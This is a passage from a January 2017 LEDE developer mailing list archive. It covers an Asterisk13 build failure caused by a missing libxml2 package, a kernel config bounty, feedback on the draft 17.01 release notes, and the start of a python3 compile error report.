Network -> Telephony -> asterisk13 ->asterisk13-func-groupcount
Network -> Telephony -> asterisk13 ->asterisk13-pbx-spool
Network -> Telephony -> asterisk13 ->asterisk13-res-rtp-asterisk

Languages -> perl
Languages -> perl -> perl-html-tree
Languages -> perl -> perl-http-message

Mail -> mailsend



But asterisk13 build fail.

checking for strcasestr... yes
checking for strndup... yes
checking for strnlen... yes
checking for strsep... yes
checking for unsetenv... yes
checking for vasprintf... yes
checking for initscr in -lncurses... yes
checking curses.h usability... yes
checking curses.h presence... yes
checking for curses.h... yes
checking for a sed that does not truncate output... /home/dennis/Downloads/o26431-vmmc_v3/source/staging_dir/host/bin/sed
checking for xml2-config... /home/dennis/Downloads/o26431-vmmc_v3/source/staging_dir/target-mips_24kc_musl-1.1.16/host/bin/xml2-config
configure: error: Could not find required 'Libxml2' development package
make[3]: *** [Makefile:291: /home/dennis/Downloads/o26431-vmmc_v3/source/build_dir/target-mips_24kc_musl-1.1.16/asterisk-13.9.1/.configured_yyyyyyy] Error 1
make[3]: Leaving directory '/home/dennis/Downloads/o26431-vmmc_v3/source/feeds/telephony/net/asterisk-13.x'
make[2]: *** [package/Makefile:108: package/feeds/telephony/asterisk-13.x/compile] Error 2
make[2]: Leaving directory '/home/dennis/Downloads/o26431-vmmc_v3/source'
make[1]: *** [package/Makefile:102: /home/dennis/Downloads/o26431-vmmc_v3/source/staging_dir/target-mips_24kc_musl-1.1.16/stamp/.package_compile] Error 2
make[1]: Leaving directory '/home/dennis/Downloads/o26431-vmmc_v3/source'
make: *** [/home/dennis/Downloads/o26431-vmmc_v3/source/include/toplevel.mk:199: world] Error 2



How to fix this ?

Many thanks to Stefan Koch for his helping hand!


Using Manjaro Linux to build the Image
have installed this packages: 

pacman -S --needed subversion asciidoc bash bc binutils bzip2 fastjar flex git gcc util-linux gawk intltool zlib make cdrkit ncurses openssl patch perl-extutils-makemaker rsync sdcc unzip wget gettext libxslt boost libusb bin86 sharutils b43-fwcutter findutils

https://wiki.openwrt.org/doc/howto/buildroot.exigence

Thanks

Dennis
-------------- next part --------------
A non-text attachment was scrubbed...
Name: _config
Type: application/octet-stream
Size: 170785 bytes
Desc: not available
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170131/950b51c9/attachment-0001.obj>
-------------- next part --------------
An embedded and charset-unspecified text was scrubbed...
Name: make.txt
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170131/950b51c9/attachment-0001.txt>

From nbd at nbd.name  Tue Jan 31 01:19:05 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Tue, 31 Jan 2017 10:19:05 +0100
Subject: [LEDE-DEV] Bounty: simplify extracting/restoring kernel .config
In-Reply-To: <98334305-282E-440C-859C-D202CCB550F8@redfish-solutions.com>
References: <98334305-282E-440C-859C-D202CCB550F8@redfish-solutions.com>
Message-ID: <7ba5bedb-309b-9a70-42d1-0e8f2028784e@nbd.name>

On 2017-01-29 22:37, Philip Prindeville wrote:
> Hi.
> 
> I?m working on a project where I need to be able to force certain
> kernel configuration parameters from a script, to automate building
> tailored kernels for performance testing, certification, etc.
> 
> I love the way that I can use ?scripts/diffconfig.sh? to save the
> deltas into a file? update the cloning/checkout of master over time,
> yet retain my saved overrides by doing a ?cp ../my.config .config ;
> make defconfig oldconfig? and always end up with a known/good
> configuration.
> 
> Alas, I can?t do the same for the target kernel in a scripted way.
> 
> I?d like to put out a bounty for doing so.  If you?re interested,
> contact me via email to discuss the deliverable and the terms of
> payment.
> 
> Ideally, this would be of broad enough applicability that I?d want to
> upstream this back to OpenWRT for everyone, so keep that in mind as
> well.
This is already implemented. You can put any kernel configuration
overrides into env/kernel-config.
Generating those is fairly easy too, you can use this command:
make kernel_menuconfig CONFIG_TARGET=env
You can also put a full kernel config in that file instead of a delta.
Running make kernel_oldconfig CONFIG_TARGET=env afterwards will reduce
that full config to a delta relative to the defaults that LEDE uses.

- Felix


From baptiste at bitsofnetworks.org  Tue Jan 31 01:30:49 2017
From: baptiste at bitsofnetworks.org (Baptiste Jonglez)
Date: Tue, 31 Jan 2017 10:30:49 +0100
Subject: [LEDE-DEV] Build error Arcadyan VGV7510KW22(NOR) / o2 6431 -
 asterisk13
In-Reply-To: <trinity-36b5442e-7a9d-4f18-b8c0-e6cabd184111-1485853813542@3capp-webde-bs43>
References: <trinity-36b5442e-7a9d-4f18-b8c0-e6cabd184111-1485853813542@3capp-webde-bs43>
Message-ID: <20170131093049.GA3992@tuxmachine.polynome.dn42>

Hi Dennis,

Please report this bug to the specific package feed: https://github.com/openwrt/telephony

It simply looks like a missing dependency (libxml), but bug reports like
this should go there, so that maintainers can do something.

Baptiste

On Tue, Jan 31, 2017 at 10:10:13AM +0100, Dennis Schneck wrote:
> Hello,
> i downloaded the source with: git clone https://github.com/lede-project/source
> 
> Select for VGV7510KW22 ( see attach please!  .config as _config )
> 
> Target System (Lantiq)
> Subtarget (XRX200)
> Target Profile (o2 Box 6431 / Arcadyan VGV7510KW22 (NOR)
> 
> 
> Base system -> block-mount
> Base system -> sqm-scripts
> 
> Kernel modules -> Filesystems -> kmod-fs-ext4
> Kernel modules -> USB Support -> kmod-usb-storage
> 
> LuCI -> Collections -> luci
> LuCI -> Applications -> luci-app-sqm
> 
> Firmware -> dsl-vrx200-firmware-xdsl-b
> 
> Network -> Telephony -> asterisk13
> Network -> Telephony -> asterisk13 ->asterisk13-app-directed_pickup
> Network -> Telephony -> asterisk13 ->asterisk13-app-read
> Network -> Telephony -> asterisk13 ->asterisk13-app-stack
> Network -> Telephony -> asterisk13 ->asterisk13-app-system
> Network -> Telephony -> asterisk13 ->asterisk13-cdr
> Network -> Telephony -> asterisk13 ->asterisk13-cdr-csv
> Network -> Telephony -> asterisk13 ->asterisk13-chan-sip
> Network -> Telephony -> asterisk13 ->asterisk13-codec-a-mu
> Network -> Telephony -> asterisk13 ->asterisk13-codec-alaw
> Network -> Telephony -> asterisk13 ->asterisk13-codec-g722
> Network -> Telephony -> asterisk13 ->asterisk13-codec-g726
> Network -> Telephony -> asterisk13 ->asterisk13-codec-gsm
> Network -> Telephony -> asterisk13 ->asterisk13-codec-ilbc
> Network -> Telephony -> asterisk13 ->asterisk13-codec-resample
> Network -> Telephony -> asterisk13 ->asterisk13-codec-ulaw
> Network -> Telephony -> asterisk13 ->asterisk13-format-gsm
> Network -> Telephony -> asterisk13 ->asterisk13-format-sln
> Network -> Telephony -> asterisk13 ->asterisk13-func-blacklist
> Network -> Telephony -> asterisk13 ->asterisk13-func-groupcount
> Network -> Telephony -> asterisk13 ->asterisk13-pbx-spool
> Network -> Telephony -> asterisk13 ->asterisk13-res-rtp-asterisk
> 
> Languages -> perl
> Languages -> perl -> perl-html-tree
> Languages -> perl -> perl-http-message
> 
> Mail -> mailsend
> 
> 
> 
> But asterisk13 build fail.
> 
> checking for strcasestr... yes
> checking for strndup... yes
> checking for strnlen... yes
> checking for strsep... yes
> checking for unsetenv... yes
> checking for vasprintf... yes
> checking for initscr in -lncurses... yes
> checking curses.h usability... yes
> checking curses.h presence... yes
> checking for curses.h... yes
> checking for a sed that does not truncate output... /home/dennis/Downloads/o26431-vmmc_v3/source/staging_dir/host/bin/sed
> checking for xml2-config... /home/dennis/Downloads/o26431-vmmc_v3/source/staging_dir/target-mips_24kc_musl-1.1.16/host/bin/xml2-config
> configure: error: Could not find required 'Libxml2' development package
> make[3]: *** [Makefile:291: /home/dennis/Downloads/o26431-vmmc_v3/source/build_dir/target-mips_24kc_musl-1.1.16/asterisk-13.9.1/.configured_yyyyyyy] Error 1
> make[3]: Leaving directory '/home/dennis/Downloads/o26431-vmmc_v3/source/feeds/telephony/net/asterisk-13.x'
> make[2]: *** [package/Makefile:108: package/feeds/telephony/asterisk-13.x/compile] Error 2
> make[2]: Leaving directory '/home/dennis/Downloads/o26431-vmmc_v3/source'
> make[1]: *** [package/Makefile:102: /home/dennis/Downloads/o26431-vmmc_v3/source/staging_dir/target-mips_24kc_musl-1.1.16/stamp/.package_compile] Error 2
> make[1]: Leaving directory '/home/dennis/Downloads/o26431-vmmc_v3/source'
> make: *** [/home/dennis/Downloads/o26431-vmmc_v3/source/include/toplevel.mk:199: world] Error 2
> 
> 
> 
> How to fix this ?
> 
> Many thanks to Stefan Koch for his helping hand!
> 
> 
> Using Manjaro Linux to build the Image
> have installed this packages: 
> 
> pacman -S --needed subversion asciidoc bash bc binutils bzip2 fastjar flex git gcc util-linux gawk intltool zlib make cdrkit ncurses openssl patch perl-extutils-makemaker rsync sdcc unzip wget gettext libxslt boost libusb bin86 sharutils b43-fwcutter findutils
> 
> https://wiki.openwrt.org/doc/howto/buildroot.exigence
> 
> Thanks
> 
> Dennis


> 
> $ make
> Checking 'rsync'... ok.
>  make[1] world
>  make[2] target/compile
>  make[3] -C target/linux compile
>  make[2] package/cleanup
>  make[2] package/compile
>  make[3] -C package/libs/toolchain compile
>  make[3] -C package/libs/libnl-tiny compile
>  make[3] -C package/libs/libjson-c compile
>  make[3] -C package/utils/lua compile
>  make[3] -C package/libs/libubox compile
>  make[3] -C package/system/ubus compile
>  make[3] -C package/system/uci compile
>  make[3] -C package/network/config/netifd compile
>  make[3] -C package/system/ubox compile
>  make[3] -C package/libs/ncurses host-compile
>  make[3] -C package/libs/ncurses compile
>  make[3] -C package/utils/util-linux compile
>  make[3] -C package/libs/lzo compile
>  make[3] -C package/libs/zlib compile
>  make[3] -C package/utils/mtd-utils compile
>  make[3] -C package/system/fstools compile
>  make[3] -C package/system/fwtool host-compile
>  make[3] -C package/system/fwtool compile
>  make[3] -C package/system/procd compile
>  make[3] -C package/system/usign host-compile
>  make[3] -C package/utils/jsonfilter compile
>  make[3] -C package/system/lede-keyring compile
>  make[3] -C package/system/usign compile
>  make[3] -C package/base-files compile
>  make[3] -C package/boot/uboot-lantiq compile
>  make[3] -C package/boot/uboot-lantiq compile
>  make[3] -C package/boot/uboot-lantiq compile
>  make[3] -C feeds/luci/modules/luci-base host-compile
>  make[3] -C package/firmware/linux-firmware compile
>  make[3] -C package/firmware/prism54-firmware compile
>  make[3] -C package/kernel/linux compile
>  make[3] -C package/network/utils/iptables compile
>  make[3] -C package/network/config/firewall compile
>  make[3] -C package/utils/lua host-compile
>  make[3] -C feeds/luci/applications/luci-app-firewall compile
>  make[3] -C feeds/luci/libs/luci-lib-ip compile
>  make[3] -C feeds/luci/libs/luci-lib-jsonc compile
>  make[3] -C feeds/luci/libs/luci-lib-nixio compile
>  make[3] -C package/network/utils/iwinfo compile
>  make[3] -C package/system/rpcd compile
>  make[3] -C feeds/luci/modules/luci-base compile
>  make[3] -C feeds/luci/modules/luci-mod-admin-full compile
>  make[3] -C feeds/luci/protocols/luci-proto-ppp compile
>  make[3] -C feeds/luci/themes/luci-theme-bootstrap compile
>  make[3] -C package/libs/mbedtls compile
>  make[3] -C package/libs/ustream-ssl compile
>  make[3] -C package/network/services/uhttpd compile
>  make[3] -C feeds/luci/protocols/luci-proto-ipv6 compile
>  make[3] -C feeds/luci/collections/luci compile
>  make[3] -C feeds/packages/libs/jansson compile
>  make[3] -C feeds/packages/libs/libxml2 compile
>  make[3] -C feeds/packages/libs/libxslt compile
>  make[3] -C package/libs/openssl compile
>  make[3] -C feeds/packages/mail/mailsend compile
>  make[3] -C package/libs/uclibc++ compile
>  make[3] -C feeds/packages/libs/db47 compile
>  make[3] -C package/libs/gettext-full host-compile
>  make[3] -C feeds/packages/libs/gdbm compile
>  make[3] -C feeds/packages/lang/perl host-compile
>  make[3] -C feeds/packages/lang/perl compile
>  make[3] -C feeds/packages/lang/perl-encode-locale compile
>  make[3] -C feeds/packages/lang/perl-html-tagset compile
>  make[3] -C feeds/packages/lang/perl-html-parser compile
>  make[3] -C feeds/packages/lang/perl-html-tree compile
>  make[3] -C feeds/packages/lang/perl-http-date compile
>  make[3] -C feeds/packages/lang/perl-io-html compile
>  make[3] -C feeds/packages/lang/perl-lwp-mediatypes compile
>  make[3] -C feeds/packages/lang/perl-uri compile
>  make[3] -C feeds/packages/lang/perl-http-message compile
>  make[3] -C feeds/packages/libs/speex compile
>  make[3] -C package/libs/libreadline compile
>  make[3] -C feeds/packages/libs/sqlite3 compile
>  make[3] -C package/kernel/kmod-sched-cake compile
>  make[3] -C package/network/utils/iproute2 compile
>  make[3] -C feeds/packages/net/sqm-scripts compile
>  make[3] -C feeds/packages/libs/libxml2 host-compile
>  make[3] -C package/libs/popt compile
>  make[3] -C package/kernel/lantiq/ltq-ifxos compile
>  make[3] -C package/kernel/lantiq/ltq-tapi compile
>  make[3] -C package/kernel/lantiq/ltq-vmmc compile
>  make[3] -C feeds/telephony/libs/libsrtp compile
>  make[3] -C feeds/telephony/libs/pjproject compile
>  make[3] -C feeds/telephony/net/asterisk-13.x compile
> make -r world: build failed. Please re-run make with -j1 V=s to see what's going on
> make: *** [/home/dennis/Downloads/o26431-vmmc_v3/source/include/toplevel.mk:199: world] Fehler 1

> _______________________________________________
> Lede-dev mailing list
> Lede-dev at lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/lede-dev

-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 833 bytes
Desc: not available
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170131/dd0eb189/attachment.sig>

From dennisschneck at web.de  Tue Jan 31 01:45:38 2017
From: dennisschneck at web.de (Dennis Schneck)
Date: Tue, 31 Jan 2017 10:45:38 +0100
Subject: [LEDE-DEV] Build error Arcadyan VGV7510KW22(NOR) / o2 6431 -
 asterisk13
Message-ID: <trinity-e3606e18-921c-4288-bd40-1f6c4df78526-1485855938211@3capp-webde-bs43>


Hi Baptiste,
?
>Please report this bug to the specific package feed: https://github.com/openwrt/telephony
?
thanks, i did
?
https://github.com/openwrt/telephony/issues/133[https://github.com/openwrt/telephony/issues/133]
?
Dennis
?
?
?

Gesendet:?Dienstag, 31. Januar 2017 um 10:30 Uhr
Von:?"Baptiste Jonglez" <baptiste at bitsofnetworks.org>
An:?"Dennis Schneck" <dennisschneck at web.de>
Cc:?lede-dev at lists.infradead.org
Betreff:?Re: [LEDE-DEV] Build error Arcadyan VGV7510KW22(NOR) / o2 6431 - asterisk13
Hi Dennis,

Please report this bug to the specific package feed: https://github.com/openwrt/telephony[https://github.com/openwrt/telephony]

It simply looks like a missing dependency (libxml), but bug reports like
this should go there, so that maintainers can do something.

Baptiste

On Tue, Jan 31, 2017 at 10:10:13AM +0100, Dennis Schneck wrote:
> Hello,
> i downloaded the source with: git clone https://github.com/lede-project/source[https://github.com/lede-project/source]
>
> Select for VGV7510KW22 ( see attach please! .config as _config )
>
> Target System (Lantiq)
> Subtarget (XRX200)
> Target Profile (o2 Box 6431 / Arcadyan VGV7510KW22 (NOR)
>
>
> Base system -> block-mount
> Base system -> sqm-scripts
>
> Kernel modules -> Filesystems -> kmod-fs-ext4
> Kernel modules -> USB Support -> kmod-usb-storage
>
> LuCI -> Collections -> luci
> LuCI -> Applications -> luci-app-sqm
>
> Firmware -> dsl-vrx200-firmware-xdsl-b
>
> Network -> Telephony -> asterisk13
> Network -> Telephony -> asterisk13 ->asterisk13-app-directed_pickup
> Network -> Telephony -> asterisk13 ->asterisk13-app-read
> Network -> Telephony -> asterisk13 ->asterisk13-app-stack
> Network -> Telephony -> asterisk13 ->asterisk13-app-system
> Network -> Telephony -> asterisk13 ->asterisk13-cdr
> Network -> Telephony -> asterisk13 ->asterisk13-cdr-csv
> Network -> Telephony -> asterisk13 ->asterisk13-chan-sip
> Network -> Telephony -> asterisk13 ->asterisk13-codec-a-mu
> Network -> Telephony -> asterisk13 ->asterisk13-codec-alaw
> Network -> Telephony -> asterisk13 ->asterisk13-codec-g722
> Network -> Telephony -> asterisk13 ->asterisk13-codec-g726
> Network -> Telephony -> asterisk13 ->asterisk13-codec-gsm
> Network -> Telephony -> asterisk13 ->asterisk13-codec-ilbc
> Network -> Telephony -> asterisk13 ->asterisk13-codec-resample
> Network -> Telephony -> asterisk13 ->asterisk13-codec-ulaw
> Network -> Telephony -> asterisk13 ->asterisk13-format-gsm
> Network -> Telephony -> asterisk13 ->asterisk13-format-sln
> Network -> Telephony -> asterisk13 ->asterisk13-func-blacklist
> Network -> Telephony -> asterisk13 ->asterisk13-func-groupcount
> Network -> Telephony -> asterisk13 ->asterisk13-pbx-spool
> Network -> Telephony -> asterisk13 ->asterisk13-res-rtp-asterisk
>
> Languages -> perl
> Languages -> perl -> perl-html-tree
> Languages -> perl -> perl-http-message
>
> Mail -> mailsend
>
>
>
> But asterisk13 build fail.
>
> checking for strcasestr... yes
> checking for strndup... yes
> checking for strnlen... yes
> checking for strsep... yes
> checking for unsetenv... yes
> checking for vasprintf... yes
> checking for initscr in -lncurses... yes
> checking curses.h usability... yes
> checking curses.h presence... yes
> checking for curses.h... yes
> checking for a sed that does not truncate output... /home/dennis/Downloads/o26431-vmmc_v3/source/staging_dir/host/bin/sed
> checking for xml2-config... /home/dennis/Downloads/o26431-vmmc_v3/source/staging_dir/target-mips_24kc_musl-1.1.16/host/bin/xml2-config
> configure: error: Could not find required 'Libxml2' development package
> make[3]: *** [Makefile:291: /home/dennis/Downloads/o26431-vmmc_v3/source/build_dir/target-mips_24kc_musl-1.1.16/asterisk-13.9.1/.configured_yyyyyyy] Error 1
> make[3]: Leaving directory '/home/dennis/Downloads/o26431-vmmc_v3/source/feeds/telephony/net/asterisk-13.x'
> make[2]: *** [package/Makefile:108: package/feeds/telephony/asterisk-13.x/compile] Error 2
> make[2]: Leaving directory '/home/dennis/Downloads/o26431-vmmc_v3/source'
> make[1]: *** [package/Makefile:102: /home/dennis/Downloads/o26431-vmmc_v3/source/staging_dir/target-mips_24kc_musl-1.1.16/stamp/.package_compile] Error 2
> make[1]: Leaving directory '/home/dennis/Downloads/o26431-vmmc_v3/source'
> make: *** [/home/dennis/Downloads/o26431-vmmc_v3/source/include/toplevel.mk:199: world] Error 2
>
>
>
> How to fix this ?
>
> Many thanks to Stefan Koch for his helping hand!
>
>
> Using Manjaro Linux to build the Image
> have installed this packages:
>
> pacman -S --needed subversion asciidoc bash bc binutils bzip2 fastjar flex git gcc util-linux gawk intltool zlib make cdrkit ncurses openssl patch perl-extutils-makemaker rsync sdcc unzip wget gettext libxslt boost libusb bin86 sharutils b43-fwcutter findutils
>
> https://wiki.openwrt.org/doc/howto/buildroot.exigence[https://wiki.openwrt.org/doc/howto/buildroot.exigence]
>
> Thanks
>
> Dennis


>
> $ make
> Checking 'rsync'... ok.
> make[1] world
> make[2] target/compile
> make[3] -C target/linux compile
> make[2] package/cleanup
> make[2] package/compile
> make[3] -C package/libs/toolchain compile
> make[3] -C package/libs/libnl-tiny compile
> make[3] -C package/libs/libjson-c compile
> make[3] -C package/utils/lua compile
> make[3] -C package/libs/libubox compile
> make[3] -C package/system/ubus compile
> make[3] -C package/system/uci compile
> make[3] -C package/network/config/netifd compile
> make[3] -C package/system/ubox compile
> make[3] -C package/libs/ncurses host-compile
> make[3] -C package/libs/ncurses compile
> make[3] -C package/utils/util-linux compile
> make[3] -C package/libs/lzo compile
> make[3] -C package/libs/zlib compile
> make[3] -C package/utils/mtd-utils compile
> make[3] -C package/system/fstools compile
> make[3] -C package/system/fwtool host-compile
> make[3] -C package/system/fwtool compile
> make[3] -C package/system/procd compile
> make[3] -C package/system/usign host-compile
> make[3] -C package/utils/jsonfilter compile
> make[3] -C package/system/lede-keyring compile
> make[3] -C package/system/usign compile
> make[3] -C package/base-files compile
> make[3] -C package/boot/uboot-lantiq compile
> make[3] -C package/boot/uboot-lantiq compile
> make[3] -C package/boot/uboot-lantiq compile
> make[3] -C feeds/luci/modules/luci-base host-compile
> make[3] -C package/firmware/linux-firmware compile
> make[3] -C package/firmware/prism54-firmware compile
> make[3] -C package/kernel/linux compile
> make[3] -C package/network/utils/iptables compile
> make[3] -C package/network/config/firewall compile
> make[3] -C package/utils/lua host-compile
> make[3] -C feeds/luci/applications/luci-app-firewall compile
> make[3] -C feeds/luci/libs/luci-lib-ip compile
> make[3] -C feeds/luci/libs/luci-lib-jsonc compile
> make[3] -C feeds/luci/libs/luci-lib-nixio compile
> make[3] -C package/network/utils/iwinfo compile
> make[3] -C package/system/rpcd compile
> make[3] -C feeds/luci/modules/luci-base compile
> make[3] -C feeds/luci/modules/luci-mod-admin-full compile
> make[3] -C feeds/luci/protocols/luci-proto-ppp compile
> make[3] -C feeds/luci/themes/luci-theme-bootstrap compile
> make[3] -C package/libs/mbedtls compile
> make[3] -C package/libs/ustream-ssl compile
> make[3] -C package/network/services/uhttpd compile
> make[3] -C feeds/luci/protocols/luci-proto-ipv6 compile
> make[3] -C feeds/luci/collections/luci compile
> make[3] -C feeds/packages/libs/jansson compile
> make[3] -C feeds/packages/libs/libxml2 compile
> make[3] -C feeds/packages/libs/libxslt compile
> make[3] -C package/libs/openssl compile
> make[3] -C feeds/packages/mail/mailsend compile
> make[3] -C package/libs/uclibc++ compile
> make[3] -C feeds/packages/libs/db47 compile
> make[3] -C package/libs/gettext-full host-compile
> make[3] -C feeds/packages/libs/gdbm compile
> make[3] -C feeds/packages/lang/perl host-compile
> make[3] -C feeds/packages/lang/perl compile
> make[3] -C feeds/packages/lang/perl-encode-locale compile
> make[3] -C feeds/packages/lang/perl-html-tagset compile
> make[3] -C feeds/packages/lang/perl-html-parser compile
> make[3] -C feeds/packages/lang/perl-html-tree compile
> make[3] -C feeds/packages/lang/perl-http-date compile
> make[3] -C feeds/packages/lang/perl-io-html compile
> make[3] -C feeds/packages/lang/perl-lwp-mediatypes compile
> make[3] -C feeds/packages/lang/perl-uri compile
> make[3] -C feeds/packages/lang/perl-http-message compile
> make[3] -C feeds/packages/libs/speex compile
> make[3] -C package/libs/libreadline compile
> make[3] -C feeds/packages/libs/sqlite3 compile
> make[3] -C package/kernel/kmod-sched-cake compile
> make[3] -C package/network/utils/iproute2 compile
> make[3] -C feeds/packages/net/sqm-scripts compile
> make[3] -C feeds/packages/libs/libxml2 host-compile
> make[3] -C package/libs/popt compile
> make[3] -C package/kernel/lantiq/ltq-ifxos compile
> make[3] -C package/kernel/lantiq/ltq-tapi compile
> make[3] -C package/kernel/lantiq/ltq-vmmc compile
> make[3] -C feeds/telephony/libs/libsrtp compile
> make[3] -C feeds/telephony/libs/pjproject compile
> make[3] -C feeds/telephony/net/asterisk-13.x compile
> make -r world: build failed. Please re-run make with -j1 V=s to see what's going on
> make: *** [/home/dennis/Downloads/o26431-vmmc_v3/source/include/toplevel.mk:199: world] Fehler 1

> _______________________________________________
> Lede-dev mailing list
> Lede-dev at lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/lede-dev[http://lists.infradead.org/mailman/listinfo/lede-dev]
?


From baptiste at bitsofnetworks.org  Tue Jan 31 01:54:50 2017
From: baptiste at bitsofnetworks.org (Baptiste Jonglez)
Date: Tue, 31 Jan 2017 10:54:50 +0100
Subject: [LEDE-DEV] LEDE-17.01 Final Release Notes available
In-Reply-To: <9FB86050-C9D5-4AB8-B4F3-F1879F0A89B6@gmail.com>
References: <9FB86050-C9D5-4AB8-B4F3-F1879F0A89B6@gmail.com>
Message-ID: <20170131095450.GB3992@tuxmachine.polynome.dn42>

Hi,

Thanks for taking care of this!

On Fri, Jan 27, 2017 at 06:57:40PM -0500, Rich Brown wrote:
> Since no changes have occurred to the release notes in the last 5 days, I assume they are complete and final. 
> 
> If you wish to prove me wrong, please send me a note, or update them directly at: https://lede-project.org/playground/draft-release-notes

I have added a few more things, like precise version numbers of some
software compared to CC.

Some things I am not sure about:

- for the toolchain, there are both GCC 6.3.0 and GCC 5.4.0 in the source,
  which one is used for which architecture?

Some things that I think should be there:

- IPv6 support: since that was the focus of CC, at least mention that
  nothing was intentionally broken (and maybe there were some
  improvement?)

- support for 3G/4G modem: I think there was some work in this direction

- release management: mention that this release should be future-proof,
  unlike CC which broke kernel dependencies in a minor release.  Also,
  packages will get {bugfix,security} updates throughout the lifetime of
  the release.


I will try to improve these points today of tomorrow.

> I have pasted the current text below for your reading pleasure. Thanks, and congratulations on the great work!
> 
> Rich
> 
> -------------------
> 
> LEDE 17.xx First Stable Release - MMM 2017
> 
>      _________
>     /        /\      _    ___ ___  ___
>    /  LE    /  \    | |  | __|   \| __|
>   /    DE  /    \   | |__| _|| |) | _|
>  /________/  LE  \  |____|___|___/|___|                      lede-project.org
>  \        \   DE /
>   \    LE  \    /  -----------------------------------------------------------
>    \  DE    \  /    Reboot (17.01-SNAPSHOT, r####-1234567)
>     \________\/    -----------------------------------------------------------
> 
> THIS IS THE FINAL DRAFT. LAST CHANCE TO MAKE IT BETTER.
> [Final changes include updating ?17.xx? everywhere, ?MMM 2017? everywhere, final ?Reboot? name/version/commit, actual URL for downloads.]
> 
> The LEDE Project (?Linux Embedded Development Environment?) is a Linux operating system based on OpenWrt. It is a complete replacement for the vendor-supplied firmware of a wide range of wireless routers and non-network devices. See the Table of Hardware for supported devices. For more information about LEDE Project organization, see the About LEDE pages.
> 
> Get LEDE Firmware at: http://downloads.lede-project.org/releases/
> 
> Highlights In LEDE 17.xx
> 
> The LEDE Community is proud to announce the first stable release of LEDE 17.xx. It incorporates thousands of commits over the last nine months of effort. With this release, the LEDE development team closes out an intense effort to modernize many parts of OpenWrt and incorporate many new modules, packages, and technologies. These are some of the highlights compared to OpenWrt Chaos Calmer:
> 
> 	? Linux kernel updated to version 4.4.42
> 	? Improved Security Features
> 		? Memory Corruption Mitigation Methods
> 			? gcc -Wformat -Wformat-security
> 			? User space Stack-Smashing Protection (Regular)
> 			? Kernel space Stack-Smashing Protection (Regular)
> 			? buffer-overflows detection (FORTIFY_SOURCE) (Conservative)
> 			? RELRO protection (Full)
> 	? Improved Networking Support
> 		? Smart Queue Management (SQM) minimizes bufferbloat by using the cake and fq_codel qdisc's. More...
> 		? Improvements to the WiFi stack eliminating bufferbloat on ath9k (and some ath10k) chipsets
> 	? Improved Performance
> 		? Nothing specific.
> 	? Updated toolchain
> 		? musl 1.1.15
> 		? gcc 5.4.0
> 		? binutils 2.25.1
> 	? Platform and Driver Support
> 		? Lantiq
> 			? Added redistributable DSL firmware
> 			? Updated DSL phy drivers
> 		? Added new targets:
> 			? apm821xx (AppliedMicro APM821xx)
> 			? arc770 (Synopsys DesignWare ARC 770D)
> 			? archs38 (Synopsys DesignWare ARC HS38)
> 			? armvirt (QEMU ARM Virtual Machine)
> 			? ipq806x (Qualcomm Atheros IPQ806X)
> 			? layerscape (NXP Layerscape)
> 			? zynq (Xilinx Zynq 7000 SoCs)
> 	? New build system supports easier branching
> 		? Building different root file systems for different devices at once
> 	? Added support for a many new routers and boards
> 	? And lots and lots of other advancements?
> As always, a big thank you goes to all our active package maintainers, testers, documenters, and supporters.
> 
> Have fun!
> 
> The LEDE Community
> _______________________________________________
> Lede-dev mailing list
> Lede-dev at lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/lede-dev
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 833 bytes
Desc: not available
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170131/4d1b81a1/attachment-0001.sig>

From dwmw2 at infradead.org  Tue Jan 31 02:14:04 2017
From: dwmw2 at infradead.org (David Woodhouse)
Date: Tue, 31 Jan 2017 10:14:04 +0000
Subject: [LEDE-DEV] LEDE-17.01 Final Release Notes available
In-Reply-To: <20170131095450.GB3992@tuxmachine.polynome.dn42>
References: <9FB86050-C9D5-4AB8-B4F3-F1879F0A89B6@gmail.com>
 <20170131095450.GB3992@tuxmachine.polynome.dn42>
Message-ID: <1485857644.30423.43.camel@infradead.org>

On Tue, 2017-01-31 at 10:54 +0100, Baptiste Jonglez wrote:
> 
> - IPv6 support: since that was the focus of CC, at least mention that
> ? nothing was intentionally broken (and maybe there were some
> ? improvement?)]

What was the IPv6 problem? I updated my VDSL router and separate AP to
17.01 over the weekend, and haven't seen any problems. My ISP does do
prefix delegation and I suppose I *ought* to check that works out of
the box, but haven't looked hard at it yet.

I did have missing *Legacy* IP routing for a while until I finally
noticed, but that was just a configuration issue :)
-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/x-pkcs7-signature
Size: 4938 bytes
Desc: not available
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170131/d46a4087/attachment.bin>

From xue.liu at dks-koeln.de  Tue Jan 31 02:27:44 2017
From: xue.liu at dks-koeln.de (Xue Liu)
Date: Tue, 31 Jan 2017 11:27:44 +0100
Subject: [LEDE-DEV] python3 compile error
Message-ID: <e0ea5e53-5efe-df23-fb55-09ffe741ea71@dks-koeln.de>

Hello,

Today I start a fresh new build for Clearfog Pro on Ubuntu 16.04. I got 
a error message from python3 as

make[2]: Entering directory 
'/home/lx/clearfog/octu-lede/feeds/packages/lang/python3'
CFLAGS="-Os -pipe -mcpu=cortex-a9 -mfpu=vfpv3-d16 -fno-caller-saves 
-fno-plt -fhonour-copts -Wno-error=unused-but-set-variable 
-Wno-error=unused-result -mfloat-abi=hard -iremap 
/home/lx/clearfog/octu-lede/build_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/Python-3.6.0:Python-3.6.0 
-Wformat -Werror=format-security -fstack-protector -D_FORTIFY_SOURCE=1 
-Wl,-z,now -Wl,-z,relro -DNDEBUG -fno-inline 
-I/home/lx/clearfog/octu-lede/staging_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/usr/include 
-I/home/lx/clearfog/octu-lede/staging_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/include 
-I/home/lx/clearfog/octu-lede/staging_dir/toolchain-arm_cortex-a9+vfpv3_gcc-5.4.0_musl-1.1.16_eabi/usr/include 
